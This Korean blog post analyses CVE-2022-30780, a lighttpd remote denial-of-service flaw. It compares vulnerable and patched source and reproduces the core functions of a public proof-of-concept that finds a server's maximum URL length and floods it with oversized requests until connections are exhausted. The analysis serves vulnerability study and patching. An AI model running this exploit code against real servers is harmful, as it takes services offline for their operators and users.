
CVE-2022-30780 (lighttpd remote denial of service)
→ 인증되지 않은 공격자는 최대 URL 길이를 넘는 URL이 포함된 HTTP 요청을 보낼 수 있으며, 그 결과 dos 취약점 발생
취약한 버전
- Lighttpd 1.4.56
- Lighttpd 1.4.57
- Lighttpd 1.4.58
발생 위치
connections.c의 connection_read_header_more
Lighttpd 1.4.56
static chunk * connection_read_header_more(connection *con, chunkqueue *cq, chunk *c, const size_t olen) {
/*(should not be reached by HTTP/2 streams)*/
/*if (r->http_version == HTTP_VERSION_2) return NULL;*/
/*(However, new connections over TLS may become HTTP/2 connections via ALPN
* and return from this routine with r->http_version == HTTP_VERSION_2) */
if ((NULL == c || NULL == c->next) && con->is_readable) {
con->read_idle_ts = log_epoch_secs;
if (0 != con->network_read(con, cq, MAX_READ_LIMIT)) {
request_st * const r = &con->request;
connection_set_state_error(r, CON_STATE_ERROR);
}
/* check if switched to HTTP/2 (ALPN "h2" during TLS negotiation) */
request_st * const r = &con->request;
if (r->http_version == HTTP_VERSION_2) return NULL;
}
if (cq->first != cq->last && 0 != olen) {
const size_t clen = chunkqueue_length(cq);
size_t block = (olen + (16384-1)) & (16384-1);
block += (block - olen > 1024 ? 0 : 16384);
chunkqueue_compact_mem(cq, block > clen ? clen : block);
}
/* detect if data is added to chunk */
c = cq->first;
return (c && (size_t)c->offset + olen < buffer_string_length(c->mem))
? c
: NULL;
}
Lighttpd 1.4.60
static chunk * connection_read_header_more(connection *con, chunkqueue *cq, chunk *c, const size_t olen) {
/*(should not be reached by HTTP/2 streams)*/
/*if (r->http_version == HTTP_VERSION_2) return NULL;*/
/*(However, new connections over TLS may become HTTP/2 connections via ALPN
* and return from this routine with r->http_version == HTTP_VERSION_2) */
if ((NULL == c || NULL == c->next) && con->is_readable > 0) {
con->read_idle_ts = log_monotonic_secs;
if (0 != con->network_read(con, cq, MAX_READ_LIMIT)) {
request_st * const r = &con->request;
connection_set_state_error(r, CON_STATE_ERROR);
}
/* check if switched to HTTP/2 (ALPN "h2" during TLS negotiation) */
request_st * const r = &con->request;
if (r->http_version == HTTP_VERSION_2) return NULL;
}
if (cq->first != cq->last && 0 != olen) {
const size_t clen = chunkqueue_length(cq);
size_t block = (olen + (16384-1)) & ~(16384-1);
block += (block - olen > 1024 ? 0 : 16384);
chunkqueue_compact_mem(cq, block > clen ? clen : block);
}
/* detect if data is added to chunk */
c = cq->first;
return (c && (size_t)c->offset + olen < buffer_clen(c->mem))
? c
: NULL;
}
패치
빨간 줄 부분이 삭제되고 초록 줄 부분이 추가됐다.
~오타로 인해 큰 헤더를 처리할 때 multiple read 작업을 제대로 수행하지 못하게 하여 연결이 멈추고 CPU 사용량이 비정상적으로 증가하는 문제가 발생한다.

PoC 분석
Poc 전체 코드는 아래 링크에서 확인할 수 있다.
https://github.com/p0dalirius/CVE-2022-30780-lighttpd-denial-of-service
GitHub - p0dalirius/CVE-2022-30780-lighttpd-denial-of-service: CVE-2022-30780 - lighttpd remote denial of service
CVE-2022-30780 - lighttpd remote denial of service - p0dalirius/CVE-2022-30780-lighttpd-denial-of-service
github.com
dichotomic_search
- 서버가 허용하는 최대 URL 길이를 찾는다.
- 정상 응답 여부를 기반으로 URL 길이를 늘리거나 줄이며, 최대 URL 길이를 탐지한다.
- 최대 URL 길이를 찾으면 탐색을 종료하고 결과를 반환한다.
def dichotomic_search(url, timeout=1, verbose=False):
print("[>] Performing dichotomic search to find maximum URL length ...")
urllen, step = 1000, 1000
normal_response = test(url, len(url), timeout=timeout)
last_result = normal_response
if last_result == normal_response:
while step >= 1 and 0 < urllen <= 150000:
result = test(url, urllen, timeout=timeout)
if verbose:
print(" [>] Testing URL length %d, (%s => %s)" % (urllen, result.name, last_result.name))
if last_result == RequestStatus.OK:
if result == RequestStatus.OK:
urllen = urllen + step
else:
# Too long
step = step//2
urllen = urllen - step
else:
if result == normal_response:
step = step//2
urllen = urllen + step
else:
# Too long
urllen = urllen - step
last_result = result
if urllen <= 0 or urllen >= 150000:
print("[!] Could not determine maximum URL length.")
print("[!] Maybe we can't connect to this URL or this lighttpd is not vulnerable?")
return None
else:
print("[+] Found maximum URL length %d" % urllen)
return urllen
else:
print("[!] Could connect to this URL. (%s)" % last_result)
return None
worker
- testurl 변수에 서버의 최대 URL 길이에 맞춰 긴 URL을 생성한다.
- testurl에 get 요청을 전송하고, 성공적으로 전송된 요청 수를 기록한다.
- 서버 응답이 ReadTimeout 일 때 monitor_data["ReadTimeout"] 값 1 증가, "ReadTimeout" 문자열 반환.
- ReadTimeout: 서버가 요청을 수신했지만, 데이터 응답을 주지 않아 읽기 시간 초과 발생.
- 서버 응답이 ConnectTimeout 일 때 monitor_data["ConnectTimeout"] 값 1 증가, "ConnectTimeout" 문자열 반환.
- ConnectTimeout: 서버와의 연결이 실패하여 연결 시간 초과 발생.
def worker(baseurl, max_url_len, monitor_data):
try:
length = (max_url_len + 1) - (len(baseurl) + 2)
testurl = baseurl + '/' + "."*length + "/"
monitor_data["sent"] = monitor_data["sent"] + 1
r = requests.get(testurl, timeout=1)
except requests.exceptions.ReadTimeout as e:
monitor_data["ReadTimeout"] = monitor_data["ReadTimeout"] + 1
return "ReadTimeout"
except requests.exceptions.ConnectTimeout as e:
monitor_data["ConnectTimeout"] = monitor_data["ConnectTimeout"] + 1
return "ConnectTimeout"
return None
monitor_thread
- diff_ct 값이 0보다 크면서 diff_rt 값이 0이면 dos를 감지해서 dos_count 변수를 1 증가시킨다.
- dos_count 값이 3보다 크면 dos 상태로 간주하여 모든 스레드를 중단시킨다.
def monitor_thread(monitor_data):
refresh_rate = 0.5
dos_count = 0
mon_last, mon_now = monitor_data.copy(), monitor_data.copy()
while monitor_data["sent"] < monitor_data["total"] and dos_count <= 3:
mon_now = monitor_data.copy()
diff_ct = (mon_now["ConnectTimeout"] - mon_last["ConnectTimeout"])
diff_rt = (mon_now["ReadTimeout"] - mon_last["ReadTimeout"])
if (diff_ct > 0) and (diff_rt == 0):
# sockets disabled, connection limit reached
dos_count += 1
print("[monitoring] (%04d/%04d) %5.2f %% | Rate %3d req/s | ConnectTimeout:%04d | ReadTimeout:%04d (sockets disabled, connection limit reached) " % (
mon_now["sent"],
mon_now["total"],
(mon_now["sent"] / mon_now["total"]) * 100,
(mon_now["sent"] - mon_last["sent"]) * refresh_rate,
mon_now["ConnectTimeout"],
mon_now["ReadTimeout"])
)
else:
dos_count = 0
print("[monitoring] (%04d/%04d) %5.2f %% | Rate %3d req/s | ConnectTimeout:%04d | ReadTimeout:%04d " % (
mon_now["sent"],
mon_now["total"],
(mon_now["sent"] / mon_now["total"]) * 100,
(mon_now["sent"] - mon_last["sent"]) * refresh_rate,
mon_now["ConnectTimeout"],
mon_now["ReadTimeout"])
)
mon_last = mon_now
time.sleep(refresh_rate)
print()
# If DoS, terminate all threads.
if dos_count > 3:
for t in monitor_data["tasks"]:
t.cancel()
참고
https://github.com/p0dalirius/CVE-2022-30780-lighttpd-denial-of-service
GitHub - p0dalirius/CVE-2022-30780-lighttpd-denial-of-service: CVE-2022-30780 - lighttpd remote denial of service
CVE-2022-30780 - lighttpd remote denial of service - p0dalirius/CVE-2022-30780-lighttpd-denial-of-service
github.com
https://redmine.lighttpd.net/issues/3059
https://github.com/lighttpd/lighttpd1.4/commit/b03b86f47b0d5a553137f081fadc482b4af1372d
[core] fix merging large headers across mult reads (fixes #3059) · lighttpd/lighttpd1.4@b03b86f
(thx mitd) x-ref: "Connections stuck in Close_Wait causing 100% cpu usage" https://redmine.lighttpd.net/issues/3059
github.com
'임문주' 카테고리의 다른 글
| HTTP COOKIE (0) | 2025.02.09 |
|---|---|
| Stack Buffer Overflow (0) | 2025.02.09 |
| Lighttpd / CGI (0) | 2024.12.20 |

stellarflare 님의 블로그 입니다.
포스팅이 좋았다면 "좋아요❤️" 또는 "구독👍🏻" 해주세요!